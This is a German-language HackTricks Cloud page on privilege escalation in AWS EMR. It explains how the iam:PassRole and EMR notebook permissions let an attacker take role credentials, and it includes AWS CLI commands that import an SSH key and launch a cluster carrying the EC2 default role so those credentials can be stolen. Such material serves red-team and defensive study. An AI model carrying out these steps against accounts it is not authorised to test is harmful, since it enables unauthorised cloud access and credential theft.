AWS - EMR Privesc
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Unterstütze HackTricks
- Sieh dir die Abonnementpläne an!
- Tritt der 💬 Discord group oder der telegram group bei oder folge uns auf Twitter 🐦 @hacktricks_live.
- Teile Hacking-Tricks, indem du PRs an die HackTricks und HackTricks Cloud GitHub-Repos einreichst.
EMR
Mehr Informationen über EMR in:
iam:PassRole, elasticmapreduce:RunJobFlow
Ein Angreifer mit diesen Berechtigungen kann einen neuen EMR-Cluster starten und EC2-Rollen anhängen und versuchen, dessen Zugangsdaten zu stehlen.
Beachte, dass du dafür eine im Account importierte ssh priv key kennen müsstest oder eine importieren müsstest, und in der Lage sein müsstest, Port 22 im master node zu öffnen (möglicherweise kannst du dies mit den Attributen EmrManagedMasterSecurityGroup und/oder ServiceAccessSecurityGroup innerhalb von --ec2-attributes erreichen).
# Import EC2 ssh key (you will need extra permissions for this)
ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
chmod 400 /tmp/sshkey
base64 /tmp/sshkey.pub > /tmp/pub.key
aws ec2 import-key-pair \
--key-name "privesc" \
--public-key-material file:///tmp/pub.key
aws emr create-cluster \
--release-label emr-5.15.0 \
--instance-type m4.large \
--instance-count 1 \
--service-role EMR_DefaultRole \
--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc
# Wait 1min and connect via ssh to an EC2 instance of the cluster)
aws emr describe-cluster --cluster-id <id>
# In MasterPublicDnsName you can find the DNS to connect to the master instance
## You cna also get this info listing EC2 instances
Beachte, dass eine EMR role in --service-role angegeben wird und eine ec2 role in --ec2-attributes innerhalb von InstanceProfile. Diese Technik erlaubt jedoch nur das Stehlen der EC2 role credentials (da du dich per ssh verbindest), nicht jedoch der EMR IAM Role.
Mögliche Auswirkungen: Privesc auf die angegebene EC2 service role.
elasticmapreduce:CreateEditor, iam:ListRoles, elasticmapreduce:ListClusters, iam:PassRole, elasticmapreduce:DescribeEditor, elasticmapreduce:OpenEditorInConsole
Mit diesen Berechtigungen kann ein Angreifer zur AWS console gehen, ein Notebook erstellen und darauf zugreifen, um die IAM Role zu stehlen.
Caution
Selbst wenn du in meinen Tests eine IAM role an die Notebook-Instanz angehängt hast, fiel mir auf, dass ich AWS managed credentials stehlen konnte und nicht die zur IAM role gehörigen creds.
Mögliche Auswirkungen: Privesc zur AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
elasticmapreduce:OpenEditorInConsole
Allein mit dieser Berechtigung kann ein Angreifer auf das Jupyter Notebook und die damit verbundene IAM role zugreifen und sie stehlen.
Die URL des Notebooks ist https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/
Caution
Selbst wenn du in meinen Tests eine IAM role an die Notebook-Instanz angehängt hast, fiel mir auf, dass ich AWS managed credentials stehlen konnte und nicht die zur IAM role gehörigen creds
Mögliche Auswirkungen: Privesc zur AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Unterstütze HackTricks
- Sieh dir die Abonnementpläne an!
- Tritt der 💬 Discord group oder der telegram group bei oder folge uns auf Twitter 🐦 @hacktricks_live.
- Teile Hacking-Tricks, indem du PRs an die HackTricks und HackTricks Cloud GitHub-Repos einreichst.
HackTricks Cloud

